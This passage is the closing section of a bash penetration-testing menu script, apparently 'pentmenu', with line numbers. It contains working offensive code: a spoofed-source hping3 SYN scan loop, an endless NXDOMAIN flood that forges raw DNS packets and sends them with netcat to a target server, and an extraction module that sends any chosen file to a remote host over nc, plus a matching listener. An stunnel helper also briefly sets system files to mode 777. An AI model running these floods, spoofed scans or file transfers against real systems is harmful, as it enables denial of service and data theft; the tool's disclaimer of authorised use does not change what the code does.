-e SOURCE 1031 | #use hping to perform multiple obvious TCP SYN scans 1032 | for i in {1..50}; do echo "sending scan $i" && sudo hping3 --scan all --spoof $SOURCE -S $TARGET 2>/dev/null 1>/dev/null; done 1033 | exit 0 1034 | } 1035 | ##END DISTRACTION## 1036 | ################### 1037 | 1038 | ####################### 1039 | ##START NXDOMAINFLOOD## 1040 | nxdomainflood() 1041 | { echo "This module is designed to stress test a DNS server by flooding it with queries for domains that do not exist" 1042 | echo "Enter the IP address of the target DNS server:" 1043 | read -i $DNSTARGET -e DNSTARGET 1044 | echo "Starting DNS NXDOMAIN Query Flood to $DNSTARGET" && sleep 1 1045 | echo "No output will be shown. Use 'Ctrl c' to stop!" 1046 | #loop forever! 1047 | while : 1048 | do 1049 | #create transaction ID for DNS query 1050 | TRANS=$RANDOM 1051 | #convert to hex 1052 | printf -v TRANSID "%x\n" "$TRANS" 1053 | #cut it into bytes 1054 | TRANSID1=$(echo $TRANSID|cut -b 1,2|xargs) 1055 | TRANSID2=$(echo $TRANSID|cut -b 3,4|xargs) 1056 | #if single byte or no byte, prepend 0 1057 | if [[ ${#TRANSID1} = "1" ]] 1058 | then 1059 | TRANSID1=0$TRANSID 1060 | elif [[ ${#TRANSID2} = "0" ]] 1061 | then 1062 | TRANSID2=00 1063 | elif [[ ${#TRANSID2} = "1" ]] 1064 | then 1065 | TRANSID2=0$TRANSID 1066 | fi 1067 | #now we have transaction ID, generate random alphanumeric name to query 1068 | TLDLIST=(com br net org cz au co jp cn ru in ir ua ca xyz site top icu vip online de $RANDOM foo) 1069 | TLD=(${TLDLIST[RANDOM%22]}) 1070 | RANDLONG=$((RANDOM % 20 +1)) 1071 | STRING=$(< /dev/urandom tr -dc [:alnum:] | head -c$RANDLONG) 1072 | #calculate length of name we are querying as hex 1073 | STRINGLEN=(${#STRING}) 1074 | printf -v STRINGLENHEX "%x\n" "$STRINGLEN" 1075 | STRINGLENHEX=$(echo $STRINGLENHEX|xargs) 1076 | if [[ ${#STRINGLENHEX} = "1" ]] 1077 | then 1078 | STRINGLENHEX=0$STRINGLENHEX 1079 | fi 1080 | #do the same for TLD 1081 | TLDLEN=(${#TLD}) 1082 | printf -v TLDLENHEX "%x\n" "$TLDLEN" 1083 | TLDLENHEX=$(echo $TLDLENHEX|xargs) 1084 | #forge a DNS request and send to netcat 1085 | ATTACKSTRING="\x$TRANSID1\x$TRANSID2\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x$STRINGLENHEX$STRING\x$TLDLENHEX$TLD\x00\x00\x01\x00\x01" 1086 | #echo $ATTACKSTRING 1087 | echo -n -e $ATTACKSTRING | nc -u -w0 $DNSTARGET 53 1088 | done 1089 | exit 0 1090 | } 1091 | ##END NXDOMAINFLOOD## 1092 | ##################### 1093 | 1094 | ##/DOS## 1095 | 1096 | 1097 | ##EXTRACTION## 1098 | ######################## 1099 | ##START EXTRACTIONMENU## 1100 | extractionmenu() 1101 | { 1102 | #display a menu for the extraction module using bash select 1103 | extractionmenu=("Send File" "Create Listener" "Go back") 1104 | select extractopt in "${extractionmenu[@]}"; do 1105 | #Extract file with TCP or UDP 1106 | if [ "$extractopt" = "Send File" ]; then 1107 | sendfile 1108 | #Create an arbitrary listener to receive files 1109 | elif [ "$extractopt" = "Create Listener" ]; then 1110 | listener 1111 | #Go back 1112 | elif [ "$extractopt" = "Go back" ]; then 1113 | mainmenu 1114 | #Default error if no valid option is chosen 1115 | else 1116 | echo "That's not a valid option! Hit Return to show menu" 1117 | fi 1118 | done 1119 | } 1120 | ##END EXTRACTIONMENU## 1121 | ###################### 1122 | 1123 | ################## 1124 | ##START SENDFILE## 1125 | sendfile() 1126 | { echo "This module will allow you to send a file over TCP or UDP" 1127 | echo "You can use the Listener to receive such a file" 1128 | echo "Enter protocol, [t]cp (default) or [u]dp:" 1129 | read -i $PROTO -e PROTO 1130 | : ${PROTO:=t} 1131 | #if not t (tcp) or u (udp) is chosen, assume tcp required 1132 | if [ "$PROTO" != "t" ] && [ "$PROTO" != "u" ]; then 1133 | echo "Invalid protocol option selected, assuming tcp!" && PROTO=t && echo "" 1134 | fi 1135 | echo "Enter the IP of the receving server:" 1136 | #need to know the IP of the receiving end 1137 | read -i $RECEIVER -e RECEIVER 1138 | #need to know a destination port on the server 1139 | echo "Enter port number for the destination server (defaults to 80):" 1140 | read -i $PORT -e PORT 1141 | : ${PORT:=80} 1142 | #check a valid integer is given for the port, anything else is invalid 1143 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 1144 | PORT=80 && echo "Invalid port, reverting to port 80" 1145 | elif [ "$PORT" -lt "1" ]; then 1146 | PORT=80 && echo "Invalid port number chosen! Reverting port 80" 1147 | elif [ "$PORT" -gt "65535" ]; then 1148 | PORT=80 && echo "Invalid port chosen! Reverting to port 80" 1149 | else echo "Using Port $PORT" 1150 | fi 1151 | #what file are we sending? 1152 | echo "Enter the FULL PATH of the file you want to extract:" 1153 | read -i $EXTRACT -e EXTRACT 1154 | #send the file 1155 | echo "Sending the file to $RECEIVER:$PORT" 1156 | if [ "$PROTO" = "t" ]; then 1157 | nc -w 3 -n -N $RECEIVER $PORT < $EXTRACT 1158 | else 1159 | nc -n -N -u $RECEIVER $PORT < $EXTRACT 1160 | fi 1161 | echo "Done" 1162 | #generate hashes of file we are sending 1163 | echo "Generating hash checksums" 1164 | md5sum $EXTRACT 1165 | echo "" 1166 | sha512sum $EXTRACT 1167 | sleep 1 1168 | } 1169 | ##END SENDFILE## 1170 | ################ 1171 | 1172 | ################## 1173 | ##START LISTENER## 1174 | listener() 1175 | { echo "This module will create a TCP or UDP listener using netcat" 1176 | echo "Any data (string or file) received will be written out to ./pentmenu.listener.out" 1177 | echo "Enter protocol, [t]cp (default) or [u]dp:" 1178 | read -i $PROTO -e PROTO 1179 | : ${PROTO:=t} 1180 | #if not t (tcp) or u (udp) is chosen, assume tcp listener required 1181 | if [ "$PROTO" != "t" ] && [ "$PROTO" != "u" ]; then 1182 | echo "Invalid protocol option selected, assuming tcp!" && PROTO=t && echo "" 1183 | fi 1184 | #show listening ports on system using ss (if available) otherwise use netstat 1185 | echo "Listing current listening ports on this system. Do not attempt to create a listener on one of these ports, it will not work." && echo "" 1186 | if test -f "/bin/ss"; then 1187 | LISTPORT=ss; 1188 | else LISTPORT=netstat 1189 | 1190 | fi 1191 | #now we can ask what port to create listener on 1192 | #it cannot of course listen on a port already in use 1193 | $LISTPORT -$PROTO -n -l 1194 | echo "Enter port number to listen on (defaults to 8000):" 1195 | read -i $PORT -e PORT 1196 | : ${PORT:=8000} 1197 | #if not an integer is entered, assume default port 8000 1198 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 1199 | PORT=8000 && echo "You provided a string, not a port number! Reverting to port 8000" 1200 | fi 1201 | #ensure a valid port number, between 1 and 65,535 (inclusive) is entered 1202 | if [ "$PORT" -lt "1" ]; then 1203 | PORT=8000 && echo "Invalid port number chosen! Reverting to port 8000" 1204 | elif [ "$PORT" -gt "65535" ]; then 1205 | PORT=8000 && echo "Invalid port number chosen! Reverting to port 8000" 1206 | fi 1207 | #define where to save everything received to the listener 1208 | echo "Enter output file (defaults to pentmenu.listener.out):" 1209 | read -i $OUTFILE -e OUTFILE 1210 | : ${OUTFILE:=pentmenu.listener.out} 1211 | echo "Use ctrl c to stop" 1212 | #create the listener 1213 | if [ "$PROTO" = "t" ] && [ "$PORT" -lt "1025" ]; then 1214 | sudo nc -n -l -v -p $PORT > $OUTFILE 1215 | elif [ "$PROTO" = "t" ] && [ "$PORT" -gt "1024" ]; then 1216 | nc -n -l -v -p $PORT > $OUTFILE 1217 | elif [ "$PROTO" = "u" ] && [ "$PORT" -lt "1025" ]; then 1218 | sudo nc -n -u -k -l -v -p $PORT > $OUTFILE 1219 | elif [ "$PROTO" = "u" ] && [ "$PORT" -gt "1024" ]; then 1220 | nc -n -u -k -l -v -p $PORT > $OUTFILE 1221 | fi 1222 | #done message and checksums will only work for tcp file transfer 1223 | #with udp, the connection has to be manually closed with 'ctrl C' 1224 | sync && echo "Done" 1225 | #generate hashes of file received 1226 | echo "Generating hash checksums" 1227 | md5sum $OUTFILE 1228 | echo "" 1229 | sha512sum $OUTFILE 1230 | sleep 1 1231 | } 1232 | ##END LISTENER## 1233 | ################ 1234 | ##/EXTRACTION## 1235 | 1236 | 1237 | ##README## 1238 | #################### 1239 | ##START SHOWREADME## 1240 | showreadme() 1241 | #use curl to show the readme file 1242 | #i should probably add a check for a local copy 1243 | { 1244 | curl -s https://raw.githubusercontent.com/GinjaChris/pentmenu/master/README.md | more 1245 | } 1246 | ##END SHOWREADME## 1247 | ################## 1248 | ##/README## 1249 | 1250 | 1251 | ##GENERIC## 1252 | ################# 1253 | ##START STUNNEL## 1254 | stunnel_client() 1255 | { echo "use SSL/TLS? [y]es or [n]o (default):" 1256 | read SSL 1257 | : ${SSL:=n} 1258 | #if not using SSL/TLS, carry on what we were doing 1259 | #otherwise create an SSL/TLS tunnel using a local listener on TCP port 9991 1260 | if [[ "$SSL" = "y" ]] 1261 | then echo "Using SSL/TLS" 1262 | LHOST=127.0.0.1 1263 | LPORT=9991 1264 | #ascertain if stunnel is defined in /etc/services and if not, add it & set permissions correctly 1265 | grep -q $LPORT /etc/services 1266 | if [[ $? = 1 ]] 1267 | then 1268 | echo "Adding pentmenu stunnel service to /etc/services" && sudo chmod 777 /etc/services && sudo echo "pentmenu-stunnel-client 9991/tcp #pentmenu stunnel client listener" >> /etc/services && sudo chmod 644 /etc/services 1269 | fi 1270 | #is ss is available, use that to shoew listening ports 1271 | if test -f "/bin/ss"; then 1272 | LISTPORT=ss; 1273 | #otherwise use netstat 1274 | else LISTPORT=netstat 1275 | fi 1276 | #show listening ports and check for port 9991 1277 | $LISTPORT -tln |grep -q $LPORT 1278 | if [[ "$?" = "1" ]] 1279 | #if nothing is running on port 9991, create stunnel configuration 1280 | then 1281 | echo "Creating stunnel client on $LHOST:$LPORT" 1282 | sudo rm -f /etc/stunnel/pentmenu.conf; 1283 | sudo touch /etc/stunnel/pentmenu.conf && sudo chmod 777 /etc/stunnel/pentmenu.conf 1284 | sudo echo "[PENTMENU-CLIENT]" >> /etc/stunnel/pentmenu.conf 1285 | sudo echo "client=yes" >> /etc/stunnel/pentmenu.conf 1286 | sudo echo "accept=$LHOST:$LPORT" >> /etc/stunnel/pentmenu.conf 1287 | sudo echo "connect=$TARGET:$PORT" >> /etc/stunnel/pentmenu.conf 1288 | sudo echo "verify=0" >> /etc/stunnel/pentmenu.conf 1289 | sudo chmod 644 /etc/stunnel/pentmenu.conf 1290 | sudo stunnel /etc/stunnel/pentmenu.conf && sleep 1 1291 | #if stunnel listener is already active we don't bother recreating it 1292 | else echo "Looks like stunnel is already listening on port 9991, so not recreating" 1293 | fi 1294 | fi } 1295 | ##END STUNNEL## 1296 | ############### 1297 | ##/GENERIC## 1298 | 1299 | 1300 | ##WELCOME## 1301 | ######################### 1302 | ##START WELCOME MESSAGE## 1303 | #everything before this is a function and functions have to be defined before they can be used 1304 | #so the welcome message MUST be placed at the end of the script 1305 | clear && echo "" 1306 | echo " ________ _______ _ _________ _______ ________ _ " 1307 | echo "| ____ || ____ \| \ /|\__ __/| || ____ \| \ /||\ /|" 1308 | echo "| | | || | \/| \ | | | | | || || || | \/| \ | || | | |" 1309 | echo "| |____| || |__ | \ | | | | | || || || |__ | \ | || | | |" 1310 | echo "| ______|| __) | |\ \| | | | | ||_|| || __) | |\ \| || | | |" 1311 | echo "| | | | | | \ | | | | | | || | | | \ || | | |" 1312 | echo "| | | |____/\| | \ | | | | | | || |____/\| | \ || |___| |" 1313 | echo "|/ (_______/|/ \_| |_| |/ \||_______/|/ \_||_______|" 1314 | echo "" 1315 | echo "Welcome to pentmenu!" 1316 | echo "Please report all bugs, improvements and suggestions to https://github.com/GinjaChris/pentmenu/issues" 1317 | echo "This software is only for responsible, authorised use." 1318 | echo "YOU are responsible for your own actions!" 1319 | echo "Please review the readme at https://raw.githubusercontent.com/GinjaChris/pentmenu/master/README.md before proceeding" 1320 | echo "" 1321 | mainmenu 1322 | ##END WELCOME MESSAGE## 1323 | ####################### 1324 | ##/WELCOME## 1325 | --------------------------------------------------------------------------------